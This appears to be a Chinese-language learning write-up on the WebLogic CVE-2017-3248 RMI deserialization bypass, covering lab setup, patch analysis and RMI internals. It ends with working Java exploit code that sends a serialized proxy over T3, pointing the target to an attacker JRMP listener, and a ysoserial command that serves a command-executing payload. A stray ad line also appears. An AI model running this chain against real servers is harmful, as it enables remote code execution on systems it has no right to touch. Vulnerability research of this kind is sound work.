漏洞挖掘：一次反序列化漏洞學習

0x01 漏洞背景

該漏洞使用了在當時為新型技術的rmi反序列化漏洞繞過了之前的修補補丁 ，適用版本包括了10.3.6.0、12.1.3.0、12.2.1.0以及12.2.1.1等多個版本，將從環境搭建、漏洞補丁分析、繞過方法思考、payload構建等多個方面進行研究，盡可能的將一些坑點和知識點摸排清楚，從0到1學習weblogic反序列化，

0x02 環境搭建及補丁安裝

2021最新整理網路安全/滲透測驗/安全學習/100份src技術檔案（全套視頻、大廠面經、精品手冊、必備工具包、路線）一>點我<一

0x1 環境搭建

1. 現成環境

可以采用現成的docker環境，執行以下命令生成對應版本的docker
docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

1. 自動搭建

利用Docker自動化搭建，在github下載搭建代碼
[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)
本次實驗環境采用jdk7u21和weblogic 10.3.6.0，在jdk_use和weblogic_use檔案夾下存放相對應版本的程式

執行如下命令：

./WeblogicDockerBuild.sh
docker-compose up -d

0x2 補丁安裝

本次使用的補丁是 p23094342_1036_Generic.zip

獲取到補丁后用如下指令進行安裝

cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver

補丁資訊如下

0x03 補丁分析及繞過

0x1 補丁分析

第一時間拿到補丁后，使用之前的CVE-2016-3510 payload打了下沒有反應，并且從log中發現如下報錯

從報錯中清楚的了解到MarshalledObject是不可被反序列化的，反過頭來看下補丁是如何修補的，頭腦簡單的筆者一開始認為這次又是添加了什么白名單，就在各種blacklist中瘋狂尋找，無果，郁悶了半天，突然在使用idea分析時在補丁包中發現了一個MarshalledObject.class檔案，如下所示

為了證明是這個相同包路徑的介面影響了MarshalledObject反序列化，做了以下操作

mkdir test
cp BUG23094342_10360160719.jar test/
tar xvf BUG23094342_10360160719.jar
rm BUG23094342_10360160719.jar 
rm weblogic/corba/utils/MarshalledObject.class
tar -cvf BUG23094342_10360160719.jar ./

然后再使用CVE-2016-3510 payload試了下，發現可以成功

那么總結下這次補丁是撰寫相同包名和類名的介面覆寫之前的類，使其變得不可反序列化，妙啊！

0x2 前置知識-RMI反序列化

理論上講找個類替代MarshalledObject的功能即可完成繞過，但這次并沒有這么做，而是引出了一種比較有意思的反序列化漏洞，RMI反序列化漏洞（關于這個系列的漏洞，筆者打算單獨開個板塊進行分析），這次主要介紹如何繞過該補丁，

RMI 為Java遠程方法呼叫，是Java編程語言里，一種用于實作遠程程序呼叫的應用程式編程介面，它使客戶機上運行的程式可以呼叫遠程服務器上的物件，RMI反序列整個體系比較復雜，但一般掌握了其中幾個知識點就可以應對很多場景了，在整理RMI知識的時候，總結了RMI通信程序中可利用的反序列化點

大致分為三類
客戶端觸發，服務端觸發和**注冊中心觸發，**ysoserial中涉及的幾個反序列化點都在對應的地方標注了，

客戶端觸發

1.當客戶端向注冊中心發送lookup資料包時注冊中心會把stub物件回傳給客戶端并在客戶端觸發readObject
2.當客戶端使用StreamRemoteCall與遠程通信時，在executeCall函式中存在反序列化在客戶端觸發readObject(payloads/JRMPClient配合exploit/JRMPListener)
3.當客戶端使用DGCImpl_Stub與DGC服務端互動式時會在dirty函式中反序列化遠程傳遞過來的Lease物件序列化后的資料，在客戶端觸發readObject

服務端觸發

1.當客戶端向服務端發送呼叫遠程方法的請求時會先使用DGCImpl_Stub和服務端通信，在處理dirty請求時會在物件申請和參考的時候在服務端觸發readObject(exploit/JRMPClient，可配合payloads/JRMPListener)

注冊中心觸發

1.當客戶端向注冊中心發送lookup資料包時會把binding中stub對應的String型別名字以序列化的形式發送，注冊中心收到資料包后，將會在注冊端觸發readObject，反序列化傳過來的名字，
2.當服務端或客戶端向注冊中心（RegistryImpl）bind系結stub的時候會在注冊端觸發readObject(exploit/RMIRegistryExploit)
3.當服務端或客戶端向注冊中心（RegistryImpl）unbind解綁stub的時候會在注冊端觸發readObject
4.當服務端或客戶端向注冊中心（RegistryImpl）rebind重新系結stub的時候會在注冊端觸發readObject

0x3 RMI反序列化原理

CVE-2017-3248 可采用客戶端或是服務端觸發兩種方式繞過上次漏洞補丁，重點分析payloads/JRMPClient配合exploit/JRMPListener完成此次攻擊利用的深層次原理，

payloads/JRMPClient的反序列化背景是客戶端獲取到來自RegistryImpl_Skel的回應后，將會呼叫DGCClient的與遠程DGCServer進行通信，呼叫堆疊如下

主要問題出現在StreamRemoteCall.class類的executeCall函式上

觀察發現this.in為ConnectionInputStream型別并沒有黑名單的限制，因此只要服務端可控，就可以像客戶端發送任意反序列化資料，

碰巧的是在RemoteObjectInvocationHandler的反序列化代碼里會呼叫這個StreamRemoteCall類里的executeCall方法

結合之前的呼叫堆疊dgc.dirty函式就已經可以觸發到executeCall代碼

0x04 利用方法

0x1 如何構造Payload

前面分析了漏洞原理，那么客戶端需要構建怎樣的代碼才能觸發到反序列化呢？這個還要從rmi機制說起，詳細內容可以將會在之后的rmi專題進行講解，這里只是把大概邏輯捋一捋，這一節會有很多類和變數，不理解沒關系主要了解程序，

首先思考一個問題，RMI客戶端如何呼叫遠程服務器上的其他類？RMI機制是這么做的，涉及到對端呼叫的類將會生成類似Stub和Skel的對等結構，其中Stub在客戶端保存（客戶端可自己生成比如RegistryImpl_stub，也可通過網路通過網路從服務端獲取Proxy(MyclassImpl)），因為我們只分析客戶端，這里引出一張客戶端RMI呼叫流程圖

• 黃線：客戶端首先呼叫getRegistry函式生成注冊中心Stub（RegistryImpl_stub）
• 黃線：接著通過lookup方法與遠程服務通信，遠程服務會在ObjectTable中匹配該stub包含的Target，進行路由分發
• 紫線：服務端接收到lookup請求后，會將已經生成好的**代理類Proxy(MyclassImpl)**回傳給客戶端
• 綠線：客戶端收到代理類Stub，直接呼叫其中的方法就會與遠程服務通信并在遠程執行相關代碼

我們重點關注下紫線部分的處理流程，服務端到底回傳的是個什么東西，我們找到服務端啟動代碼

當代碼執行到13行時，因為UserImpl繼承了UnicastRemoteObject類并且在構造方法里呼叫了父類構造方法，所以將會執行UnicastRemoteObject類中的構造方法

構造方法會呼叫exportObject

下面重點來了，如何封裝傳遞給Client端的Stub

方便理解倒著分析，在最后利用RemoteObjectInvocationHandler代理了我們需要執行的類，那么RemoteRef是如何而來的，從當前代碼中只能看見時getClientRef獲取到的

getClientRef代碼如下，this.ref是什么時候賦值的？

在UnicastRemoteObject構造方法一開始時就賦值了，sref如何生成

sref其實是UnicastServerRef是UnicastRef的子類

在其構造方法中創建了LiveRef物件并賦值給了UnicastRef的ref變數

可能會有些繞，整體可以總結為如下代碼

ObjID id = new ObjID(new Random().nextInt()); 
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

仿照服務端的createProxy函式，將RemoteObjectInvocationHandler封裝進代理類，

(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);

利用代碼如下所示

package main;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class cve_2017_3248 {
    public Object getObject(){
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);
        return proxy;
    }
    public static void main(String[] args) throws Exception {
        Object obj = new cve_2017_3248().getObject();
        byte[] payload2 = Serializables.serialize(obj);
        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
    }
}

0x2 整合利用

整個程序使用JRMP Server端反打Client端
Step 1 使用JRMPListener監聽埠

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar  ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/D4ck'

**Step 2 發送漏洞payload **
反序列化資料中包含rmi 客戶端鏈接代碼

0x05 總結

CVE-2017-3248 使用了RMI反序列化漏洞，也揭開了筆者分析RMI漏洞原理的新篇章，后面將不斷分析Weblogic相關反序列化漏洞，以及系統總結整理RMI反序列化漏洞的基礎知識和簡單利用，